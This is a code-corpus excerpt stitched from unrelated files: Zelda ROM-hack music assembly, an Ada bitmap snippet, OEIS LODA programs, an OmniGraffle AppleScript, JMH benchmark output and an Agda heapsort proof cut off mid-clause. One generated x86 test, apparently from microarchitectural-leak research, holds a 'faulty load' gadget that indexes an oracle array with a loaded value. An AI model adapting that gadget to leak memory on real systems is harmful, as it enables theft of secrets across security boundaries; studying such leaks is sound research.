CMP.b #$43 : BEQ .darkMountain
CMP.b #$45 : BEQ .darkMountain
CMP.b #$47 : BNE .notDarkMountain
.darkMountain
LDA.b #$09 : STA $012D ; set storm ambient SFX
LDX.b #$0D ; dark mountain theme
.bunny
LDA $7EF357 : ORA InvertedMode : BNE +
LDX #$04 ; bunny theme
+
STX $012C
.notDarkMountain
LDA $11 : STA $010C
STZ $11
STZ $B0
STZ $0200
STZ $0710
RTL
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
BirdTravel_LoadTargetAreaMusic:
; Skip village and lost woods checks if entering dark world or a special area
LDA $8A : CMP.b #$43 : BEQ .endOfLightWorldChecks
CMP.b #$40 : !BGE .notVillageOrWoods
LDX.b #$07 ; Default village theme
; Check what phase we're in
;LDA $7EF3C5 : CMP.b #$03 : !BLT +
; LDX.b #$02 ; Default light world theme (phase >=3)
;+
; Check if we're entering the village
LDA $8A : CMP.b #$18 : BEQ .endOfLightWorldChecks
; For NA release would we also branch on indexes #$22 #$28 #$29
;LDX.b #$05 ; Lost woods theme
; check if we've pulled from the master sword pedestal
;LDA $7EF300 : AND.b #$40 : BEQ +
; LDX.b #$02 ; Default light world theme
;+
; check if we are entering lost woods
LDA $8A : BEQ .endOfLightWorldChecks
.notVillageOrWoods
; Use the normal overworld (light world) music
LDX.b #$02
; Check phase ; In phase >= 2
LDA $7EF3C5 : CMP.b #$02 : !BGE +
; If phase < 2, play the legend music
LDX.b #$03
+
.endOfLightWorldChecks
; if we are in the light world go ahead and set chosen selection
LDA $7EF3CA : BEQ .checkInverted+4
LDX.b #$09 ; dark overworld theme
LDA $8A
; Misery Mire rain SFX
CMP.b #$70 : BNE ++
LDA $7EF2F0 : AND.b #$20 : BNE ++
LDA.b #$01 : CMP $0131 : BEQ +
STA $012D
+ : BRA .checkInverted
++
; This music is used in dark death mountain
CMP.b #$43 : BEQ .darkMountain
; CMP.b #$45 : BEQ .darkMountain
; CMP.b #$47 : BEQ .darkMountain
LDA.b #$05 : STA $012D
BRA .checkInverted
.darkMountain
LDA $7EF37A : CMP.b #$7F : BEQ +
LDX.b #$0D ; dark death mountain theme
+ : LDA.b #$09 : STA $012D
; if not inverted and light world, or inverted and dark world, skip moon pearl check
.checkInverted
LDA $7EF3CA : CLC : ROL #$03 : CMP InvertedMode : BEQ .lastCheck
; Does Link have a moon pearl?
LDA $7EF357 : BNE +
LDX.b #$04 ; bunny theme
+
.lastCheck
RTL
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
;0 = Is Kakariko Overworld
;1 = Not Kakariko Overworld
PsychoSolder_MusicCheck:
LDA $040A : CMP.b #$18 : BNE .done ; thing we overwrote - check if overworld location is Kakariko
LDA $1B ; Also check that we are outdoors
.done
RTL
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
; Additional dark world checks to determine whether or not to fade out music
; on mosaic transitions
;
; On entry, A = $8A (overworld area being loaded)
Overworld_MosaicDarkWorldChecks:
CMP.b #$40 : beq .checkCrystals
CMP.b #$42 : beq .checkCrystals
CMP.b #$50 : beq .checkCrystals
CMP.b #$51 : bne .doFade
.checkCrystals
LDA $7EF37A : CMP.b #$7F : BEQ .done
.doFade
LDA.b #$F1 : STA $012C ; thing we wrote over, fade out music
.done
RTL
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
; This is the where the music can change due to an UW transition
;
; On entry, A=16bit XY=8bit, A & X safe to mod, Y unknown
Underworld_DoorDown_Entry:
LDA.l DRMode : TAX : LDA $A0 : CPX #0 : BNE .done
.vanilla ; thing we wrote over
CMP.w #$0012 : BNE +
LDX.b #$14 ; value for Sanc music
BRA .done
+ CMP.w #$0002 : BNE .done
LDX.b #$10 ; value for Hyrule Castle music
.done
RTL
;--------------------------------------------------------------------------------
|
Task/Bitmap/Ada/bitmap-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 4772 | <reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Bitmap/Ada/bitmap-3.ada
use Bitmap_Store; with Bitmap_Store;
...
X : Image (1..64, 1..64);
begin
Fill (X, (255, 255, 255));
X (1, 2) := (R => 255, others => 0);
X (3, 4) := X (1, 2);
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2290.asm | ljhsiun2/medusa | 9 | 7199 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x92b3, %r12
and $26543, %rdi
mov (%r12), %r15d
nop
nop
nop
add %r15, %r15
lea addresses_WC_ht+0x14d73, %rsi
lea addresses_UC_ht+0xc773, %rdi
nop
nop
nop
nop
nop
add %rbp, %rbp
mov $41, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %rbp
lea addresses_D_ht+0x2d73, %rcx
nop
nop
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
and $0xffffffffffffffc0, %rcx
movntdq %xmm3, (%rcx)
nop
and $43417, %r12
lea addresses_D_ht+0x17373, %rcx
nop
nop
nop
nop
and %r8, %r8
movb $0x61, (%rcx)
nop
nop
xor $18256, %r8
lea addresses_D_ht+0x2c03, %r8
nop
nop
nop
nop
and %rsi, %rsi
movb $0x61, (%r8)
nop
xor $44204, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r9
push %rbp
push %rdi
push %rdx
// Store
lea addresses_PSE+0x15363, %rbp
nop
nop
nop
and %r10, %r10
movw $0x5152, (%rbp)
nop
nop
dec %rdi
// Faulty Load
lea addresses_D+0x1a573, %r14
nop
nop
sub $30520, %r9
mov (%r14), %rdi
lea oracles, %r10
and $0xff, %rdi
shlq $12, %rdi
mov (%r10,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rbp
pop %r9
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
programs/oeis/186/A186636.asm | karttu/loda | 1 | 88321 | ; A186636: a(n) = n*(n^3+n^2+2*n+1).
; 0,5,34,129,356,805,1590,2849,4744,7461,11210,16225,22764,31109,41566,54465,70160,89029,111474,137921,168820,204645,245894,293089,346776,407525,475930,552609,638204,733381,838830,955265,1083424,1224069,1377986,1545985,1728900,1927589,2142934,2375841,2627240
mov $1,$0
mov $2,$0
add $0,1
pow $0,2
pow $2,3
add $0,$2
mul $1,$0
|
oeis/076/A076561.asm | neoneye/loda-programs | 11 | 104671 | <filename>oeis/076/A076561.asm
; A076561: a(1)=2; a(n>1)= greatest prime divisor of a(n-1) + n.
; Submitted by <NAME>
; 2,2,5,3,2,2,3,11,5,5,2,7,5,19,17,11,7,5,3,23,11,11,17,41,11,37,2,5,17,47,13,5,19,53,11,47,7,5,11,17,29,71,19,7,13,59,53,101,5,11,31,83,17,71,7,7,2,5,2,31,23,17,5,23,11,11,13,3,3,73,3,5,13,29,13,89,83,23,17
mov $5,$0
mov $6,$0
add $6,1
lpb $6
mov $0,$5
add $0,$2
mov $2,2
sub $6,1
sub $0,$6
add $0,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
lpb $0
dif $0,$2
lpe
lpe
lpe
mov $0,$2
|
omingraffleFlexibleMagnets.applescript | LaurenceScotford/OmnigraffleFlexibleMagnets | 0 | 1915 | <reponame>LaurenceScotford/OmnigraffleFlexibleMagnets
-- Add magnets to sides of rectangle
-- <NAME> - October 2013
property num_mags : 6 -- number of magnets per side
set {North, East, South, West} to {1, 2, 3, 4} -- Enumerator for identifying the sides
set the_sides_list to {"North", "East", "South", "West"} -- List of strings for user choice
set corners to {{{-1, -1}, {1, -1}}, {{1, -1}, {1, 1}}, {{1, 1}, {-1, 1}}, {{-1, 1}, {-1, -1}}} -- positions of corner points for each side
set my_mags to {} -- empty list in which magnets will be assembled
-- ask the user for the number of magnets and whether to include corners or not
set err_message to ""
repeat
try
set the_result to display dialog "Enter number of magnets per side and choose distribution type:" & err_message default answer num_mags buttons {"Cancel", "Include Corners", "Don't include Corners"}
set num_mags to text returned of the_result as integer
on error number err_num
-- if error is anything other than coercion error then throw it...
if err_num is not -1700 then error number err_num
-- …otherwise set number of magnets to zero and try again…
set num_mags to 0
end try
-- if number of magnets is not a positive whole number, try again with error message
if num_mags > 0 then exit repeat
set err_message to return & "Please enter a positive whole number!"
end repeat
-- set whether to include corners or not based on user response
set including_corners to button returned of the_result is "Include Corners"
-- calculate number of magnets that will fall between corners-- and number of final magnet before corner
if including_corners then
set inner_mags to num_mags - 2
else
set inner_mags to num_mags
end if
-- Get the user to select the sides to apply to and then turn these into list of numeric values
set the_result to choose from list the_sides_list with prompt "Which sides should magnets be applied to?" with multiple selections allowed
set sides to {}
repeat with a_side from 1 to the count of the_sides_list
if item a_side of the_sides_list is in the_result then copy a_side to end of sides
end repeat
-- create the magnets between corners (if there are any)
if inner_mags > 0 then
repeat with mag_count from 1 to inner_mags
set mag_pos to (2 / (inner_mags + 1)) * mag_count - 1
if sides contains North then
set end of my_mags to {mag_pos, -1}
end if
if sides contains East then
set end of my_mags to {1, mag_pos}
end if
if sides contains South then
set end of my_mags to {mag_pos, 1}
end if
if sides contains West then
set end of my_mags to {-1, mag_pos}
end if
end repeat
end if
-- now add the corner magnets, if required
if including_corners then
repeat with side in sides
-- add the leading corner magnet (clockwise)
set coords to item 1 of item (side as number) of corners
if {coords} is not in my_mags then set end of my_mags to coords
-- if there's more than one magnet per side, add the trailing corner magnet (clockwise)
if num_mags > 1 then
set coords to item 2 of item (side as number) of corners
if {coords} is not in my_mags then set end of my_mags to coords
end if
end repeat
end if
-- apply the magnets to the selected shapes
tell application id "OGfl"
tell front window
set my_shapes to its selection
repeat with drawn_object in my_shapes
if class of drawn_object is shape then
set magnets of drawn_object to my_mags
end if
end repeat
end tell
end tell
|
05_arraylistvsarray/SeqArrayAccess.asm | arnaudroger/blog_samples | 0 | 4382 | # JMH version: 1.19
# VM version: JDK 1.8.0_131, VM 25.131-b11
# VM invoker: /usr/lib/jvm/java-8-oracle/jre/bin/java
# VM options: <none>
# Warmup: 20 iterations, 1 s each
# Measurement: 20 iterations, 1 s each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Throughput, ops/time
# Benchmark: com.github.arnaudroger.SeqArrayAccess.testGet
# Parameters: (size = 1000000)
# Run progress: 0.00% complete, ETA 00:00:40
# Fork: 1 of 1
# Preparing profilers: LinuxPerfAsmProfiler
# Profilers consume stdout and stderr from target VM, use -v EXTRA to copy to console
# Warmup Iteration 1: 355.738 ops/s
# Warmup Iteration 2: 371.053 ops/s
# Warmup Iteration 3: 375.265 ops/s
# Warmup Iteration 4: 377.908 ops/s
# Warmup Iteration 5: 377.769 ops/s
# Warmup Iteration 6: 377.214 ops/s
# Warmup Iteration 7: 376.585 ops/s
# Warmup Iteration 8: 377.638 ops/s
# Warmup Iteration 9: 377.788 ops/s
# Warmup Iteration 10: 378.051 ops/s
# Warmup Iteration 11: 376.321 ops/s
# Warmup Iteration 12: 377.825 ops/s
# Warmup Iteration 13: 377.669 ops/s
# Warmup Iteration 14: 377.592 ops/s
# Warmup Iteration 15: 378.162 ops/s
# Warmup Iteration 16: 376.742 ops/s
# Warmup Iteration 17: 376.236 ops/s
# Warmup Iteration 18: 377.479 ops/s
# Warmup Iteration 19: 376.243 ops/s
# Warmup Iteration 20: 375.803 ops/s
Iteration 1: 373.609 ops/s
Iteration 2: 375.276 ops/s
Iteration 3: 378.223 ops/s
Iteration 4: 376.072 ops/s
Iteration 5: 378.198 ops/s
Iteration 6: 378.237 ops/s
Iteration 7: 377.580 ops/s
Iteration 8: 378.033 ops/s
Iteration 9: 377.628 ops/s
Iteration 10: 378.721 ops/s
Iteration 11: 378.773 ops/s
Iteration 12: 377.823 ops/s
Iteration 13: 378.595 ops/s
Iteration 14: 378.875 ops/s
Iteration 15: 375.861 ops/s
Iteration 16: 377.341 ops/s
Iteration 17: 370.815 ops/s
Iteration 18: 377.846 ops/s
Iteration 19: 378.094 ops/s
Iteration 20: 378.519 ops/s
# Processing profiler results: LinuxPerfAsmProfiler
Result "com.github.arnaudroger.SeqArrayAccess.testGet":
377.206 ±(99.9%) 1.754 ops/s [Average]
(min, avg, max) = (370.815, 377.206, 378.875), stdev = 2.019
CI (99.9%): [375.452, 378.959] (assumes normal distribution)
Secondary result "com.github.arnaudroger.SeqArrayAccess.testGet:·asm":
PrintAssembly processed: 177922 total address lines.
Perf output processed (skipped 23.504 seconds):
Column 1: cycles (20378 events)
Column 2: instructions (20440 events)
Hottest code regions (>10.00% "cycles" events):
....[Hottest Region 1]..............................................................................
C2, level 4, org.openjdk.jmh.infra.Blackhole::consume, version 517 (71 bytes)
# parm0: rdx:rdx = 'java/lang/Object'
# [sp+0x40] (sp of caller)
0x00007f269d227e60: mov 0x8(%rsi),%r10d
0x00007f269d227e64: shl $0x3,%r10
0x00007f269d227e68: cmp %r10,%rax
0x00007f269d227e6b: jne 0x00007f269d045e20 ; {runtime_call}
0x00007f269d227e71: data16 xchg %ax,%ax
0x00007f269d227e74: nopl 0x0(%rax,%rax,1)
0x00007f269d227e7c: data16 data16 xchg %ax,%ax
[Verified Entry Point]
9.71% 7.17% 0x00007f269d227e80: mov %eax,-0x14000(%rsp)
0.06% 0.05% 0x00007f269d227e87: push %rbp
9.41% 5.42% 0x00007f269d227e88: sub $0x30,%rsp ;*synchronization entry
; - org.openjdk.jmh.infra.Blackhole::consume@-1 (line 307)
0.13% 0.16% 0x00007f269d227e8c: mov %rdx,(%rsp)
0.06% 0.10% 0x00007f269d227e90: mov %rsi,0x8(%rsp)
9.46% 5.62% 0x00007f269d227e95: mov 0xc4(%rsi),%ebp ;*getfield tlrMask
; - org.openjdk.jmh.infra.Blackhole::consume@1 (line 307)
0.08% 0.15% 0x00007f269d227e9b: imul $0x19660d,0xc0(%rsi),%r11d
8.75% 8.01% 0x00007f269d227ea6: add $0x3c6ef35f,%r11d ;*iadd
; - org.openjdk.jmh.infra.Blackhole::consume@15 (line 308)
9.30% 11.52% 0x00007f269d227ead: mov %r11d,0xc0(%rsi) ;*putfield tlr
; - org.openjdk.jmh.infra.Blackhole::consume@17 (line 308)
9.87% 11.92% 0x00007f269d227eb4: and %ebp,%r11d
0.39% 0.47% 0x00007f269d227eb7: test %r11d,%r11d
╭ 0x00007f269d227eba: je 0x00007f269d227ec8
9.36% 13.90% │ 0x00007f269d227ebc: add $0x30,%rsp
0.05% 0.02% │ 0x00007f269d227ec0: pop %rbp
0.08% 0.05% │ 0x00007f269d227ec1: test %eax,0x1786a139(%rip) # 0x00007f26b4a92000
│ ; {poll_return}
0.10% 0.09% │ 0x00007f269d227ec7: retq
↘ 0x00007f269d227ec8: mov 0x60(%r15),%rax
0x00007f269d227ecc: mov %rax,%r10
0x00007f269d227ecf: add $0x20,%r10
0x00007f269d227ed3: cmp 0x70(%r15),%r10
0x00007f269d227ed7: jae 0x00007f269d227f82
0x00007f269d227edd: mov %r10,0x60(%r15)
0x00007f269d227ee1: prefetchnta 0xc0(%r10)
0x00007f269d227ee9: mov $0xf8000ba5,%r10d ; {metadata('java/lang/ref/WeakReference')}
0x00007f269d227eef: shl $0x3,%r10
....................................................................................................
66.81% 64.66% <total for region 1>
....[Hottest Region 2]..............................................................................
C2, level 4, com.github.arnaudroger.SeqArrayAccess::testGet, version 521 (33 bytes)
0x00007f269d22f4a8: jae 0x00007f269d22f4f4
0x00007f269d22f4aa: test %rdx,%rdx
╭ 0x00007f269d22f4ad: je 0x00007f269d22f4f4 ;*aload_2
│ ; - com.github.arnaudroger.SeqArrayAccess::testGet@17 (line 61)
│ 0x00007f269d22f4af: shl $0x3,%r10 ;*getfield data
│ ; - com.github.arnaudroger.SeqArrayAccess::testGet@1 (line 61)
│ 0x00007f269d22f4b3: xor %ebp,%ebp
│ 0x00007f269d22f4b5: mov %rdx,0x8(%rsp)
│ 0x00007f269d22f4ba: mov %r8d,0x10(%rsp)
│╭ 0x00007f269d22f4bf: jmp 0x00007f269d22f4c5
9.90% 10.66% ││↗ 0x00007f269d22f4c1: mov (%rsp),%r10 ;*aload_2
│││ ; - com.github.arnaudroger.SeqArrayAccess::testGet@17 (line 61)
│↘│ 0x00007f269d22f4c5: mov 0x10(%r10,%rbp,4),%r11d
0.70% 0.54% │ │ 0x00007f269d22f4ca: mov %r10,(%rsp)
0.04% 0.03% │ │ 0x00007f269d22f4ce: mov %r11,%rdx
9.47% 8.56% │ │ 0x00007f269d22f4d1: shl $0x3,%rdx ;*aaload
│ │ ; - com.github.arnaudroger.SeqArrayAccess::testGet@20 (line 61)
0.18% 0.06% │ │ 0x00007f269d22f4d5: mov 0x8(%rsp),%rsi
0.01% 0.04% │ │ 0x00007f269d22f4da: nop
0.05% 0.03% │ │ 0x00007f269d22f4db: callq 0x00007f269d046020 ; OopMap{[0]=Oop [8]=Oop off=128}
│ │ ;*invokevirtual consume
│ │ ; - com.github.arnaudroger.SeqArrayAccess::testGet@26 (line 62)
│ │ ; {optimized virtual_call}
10.35% 13.07% │ │ 0x00007f269d22f4e0: inc %ebp ;*iinc
│ │ ; - com.github.arnaudroger.SeqArrayAccess::testGet@29 (line 61)
0.03% 0.03% │ │ 0x00007f269d22f4e2: cmp 0x10(%rsp),%ebp
│ ╰ 0x00007f269d22f4e6: jl 0x00007f269d22f4c1 ;*if_icmpge
│ ; - com.github.arnaudroger.SeqArrayAccess::testGet@14 (line 61)
│ 0x00007f269d22f4e8: add $0x30,%rsp
│ 0x00007f269d22f4ec: pop %rbp
│ 0x00007f269d22f4ed: test %eax,0x17862b0d(%rip) # 0x00007f26b4a92000
│ ; {poll_return}
│ 0x00007f269d22f4f3: retq
↘ 0x00007f269d22f4f4: mov $0xffffff86,%esi
0x00007f269d22f4f9: mov %rdx,%rbp
....................................................................................................
30.73% 33.02% <total for region 2>
....[Hottest Regions]...............................................................................
66.81% 64.66% C2, level 4 org.openjdk.jmh.infra.Blackhole::consume, version 517 (71 bytes)
30.73% 33.02% C2, level 4 com.github.arnaudroger.SeqArrayAccess::testGet, version 521 (33 bytes)
0.33% 0.33% [kernel.kallsyms] [unknown] (6 bytes)
0.14% 0.00% [kernel.kallsyms] [unknown] (45 bytes)
0.08% 0.00% [kernel.kallsyms] [unknown] (1 bytes)
0.07% 0.00% [kernel.kallsyms] [unknown] (0 bytes)
0.06% [kernel.kallsyms] [unknown] (5 bytes)
0.05% 0.11% libjvm.so _ZN10fileStream5writeEPKcm (82 bytes)
0.04% 0.07% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_ (80 bytes)
0.04% libpthread-2.26.so __libc_write (16 bytes)
0.03% 0.01% [kernel.kallsyms] [unknown] (0 bytes)
0.03% 0.02% [kernel.kallsyms] [unknown] (26 bytes)
0.02% 0.03% [kernel.kallsyms] [unknown] (33 bytes)
0.02% 0.02% [kernel.kallsyms] [unknown] (11 bytes)
0.02% 0.05% [kernel.kallsyms] [unknown] (39 bytes)
0.02% [kernel.kallsyms] [unknown] (22 bytes)
0.01% 0.04% [kernel.kallsyms] [unknown] (9 bytes)
0.01% [kernel.kallsyms] [unknown] (23 bytes)
0.01% 0.01% [kernel.kallsyms] [unknown] (0 bytes)
0.01% 0.00% [kernel.kallsyms] [unknown] (24 bytes)
1.44% 1.60% <...other 400 warm regions...>
....................................................................................................
100.00% 100.00% <totals>
....[Hottest Methods (after inlining)]..............................................................
66.81% 64.66% C2, level 4 org.openjdk.jmh.infra.Blackhole::consume, version 517
30.73% 33.02% C2, level 4 com.github.arnaudroger.SeqArrayAccess::testGet, version 521
1.58% 1.29% [kernel.kallsyms] [unknown]
0.09% 0.07% hsdis-amd64.so [unknown]
0.05% 0.11% libjvm.so _ZN10fileStream5writeEPKcm
0.05% 0.07% libc-2.26.so vfprintf
0.04% 0.07% libjvm.so _ZN13RelocIterator10initializeEP7nmethodPhS2_
0.04% 0.00% libpthread-2.26.so __libc_write
0.03% 0.08% libc-2.26.so _IO_fwrite
0.02% 0.00% libc-2.26.so _IO_fflush
0.02% 0.03% libjvm.so _ZN13xmlTextStream5writeEPKcm
0.01% 0.00% libjvm.so _ZN10decode_env12handle_eventEPKcPh
0.01% 0.01% libpthread-2.26.so __pthread_getspecific
0.01% 0.01% libc-2.26.so __strchrnul_avx2
0.01% 0.00% libjvm.so _ZL13printf_to_envPvPKcz
0.01% 0.03% libc-2.26.so __strlen_avx2
0.01% 0.00% libc-2.26.so _IO_old_init
0.01% hsdis-amd64.so decode_instructions
0.01% libc-2.26.so __vsprintf_chk
0.01% libjvm.so _ZN24DebugInformationRecorder27find_sharable_decode_offsetEi
0.42% 0.24% <...other 77 warm methods...>
....................................................................................................
100.00% 99.73% <totals>
....[Distribution by Source]........................................................................
97.55% 97.68% C2, level 4
1.58% 1.29% [kernel.kallsyms]
0.43% 0.50% libjvm.so
0.21% 0.36% libc-2.26.so
0.10% 0.07% hsdis-amd64.so
0.08% 0.06% libpthread-2.26.so
0.03% 0.01% interpreter
0.01% 0.00% [vdso]
0.01% 0.01% C1, level 3
0.00% 0.00% ld-2.26.so
....................................................................................................
100.00% 100.00% <totals>
# Run complete. Total time: 00:00:45
Benchmark (size) Mode Cnt Score Error Units
SeqArrayAccess.testGet 1000000 thrpt 20 377.206 ± 1.754 ops/s
SeqArrayAccess.testGet:·asm 1000000 thrpt NaN ---
|
agda/Heapsort/Impl1/Correctness/Permutation.agda | bgbianchi/sorting | 6 | 17426 | <gh_stars>1-10
{-# OPTIONS --sized-types #-}
open import Relation.Binary.Core
module Heapsort.Impl1.Correctness.Permutation {A : Set}
(_≤_ : A → A → Set)
(tot≤ : Total _≤_)
(trans≤ : Transitive _≤_) where
open import BBHeap _≤_ hiding (forget ; flatten)
open import BBHeap.Heapify _≤_ tot≤ trans≤
open import BBHeap.Insert _≤_ tot≤ trans≤
open import BBHeap.Subtyping _≤_ trans≤
open import BHeap _≤_ hiding (forget) renaming (flatten to flatten')
open import BHeap.Order _≤_
open import BHeap.Order.Properties _≤_
open import BHeap.Properties _≤_
open import Bound.Lower A
open import Bound.Lower.Order _≤_
open import Data.List
open import Data.Nat renaming (_≤_ to _≤ₙ_)
open import Data.Sum
open import Heapsort.Impl1 _≤_ tot≤ trans≤
open import List.Permutation.Base A
open import List.Permutation.Base.Equivalence A
open import List.Permutation.Base.Concatenation A
open import OList _≤_
open import Order.Total _≤_ tot≤
open import Relation.Binary
open DecTotalOrder decTotalOrder hiding (refl)
lemma-flatten-flatten' : {b : Bound}(h : BHeap b)(accₕ : Acc h) → forget (flatten h accₕ) ∼ flatten' h
lemma-flatten-flatten' lf _ = ∼[]
lemma-flatten-flatten' (nd b≤x l r) (acc rs) = ∼x /head /head (trans∼ (lemma-flatten-flatten' (merge tot≤ l r) (rs (merge tot≤ l r) (lemma-merge≤′ tot≤ b≤x l r))) (lemma-merge∼ tot≤ l r))
lemma-flatten'-flatten : {b : Bound}(h : BHeap b)(accₕ : Acc h) → (flatten' h) ∼ (forget (flatten h accₕ))
lemma-flatten'-flatten h tₕ = sym∼ (lemma-flatten-flatten' h tₕ)
lemma-subtyping≡ : {b b' : Bound}(b'≤b : LeB b' b)(h : BBHeap b) → (flatten' (relax (subtyping b'≤b h))) ≡ flatten' (relax h)
lemma-subtyping≡ b'≤b leaf = refl
lemma-subtyping≡ b'≤b (left {l = l} {r = r} b≤x l⋘r) rewrite lemma-subtyping≡ b≤x l | lemma-subtyping≡ b≤x r = refl
lemma-subtyping≡ b'≤b (right {l = l} {r = r} b≤x l⋙r) rewrite lemma-subtyping≡ b≤x l | lemma-subtyping≡ b≤x r = refl
lemma-insert∼ : {b : Bound}{x : A}(b≤x : LeB b (val x))(h : BBHeap b) → (x ∷ flatten' (relax h)) ∼ (flatten' (relax (insert b≤x h)))
lemma-insert∼ b≤x leaf = refl∼
lemma-insert∼ {x = x} b≤x (left {x = y} {l = l} {r = r} b≤y l⋘r)
with tot≤ x y
... | inj₁ x≤y
with lemma-insert⋘ (lexy refl≤) l⋘r
... | inj₁ lᵢ⋘r
rewrite lemma-subtyping≡ {val y} {val x} (lexy x≤y) (insert {val y} {y} (lexy refl≤) l)
| lemma-subtyping≡ {val y} {val x} (lexy x≤y) r
= ∼x /head /head (lemma++∼r (lemma-insert∼ (lexy refl≤) l))
... | inj₂ lᵢ⋗r
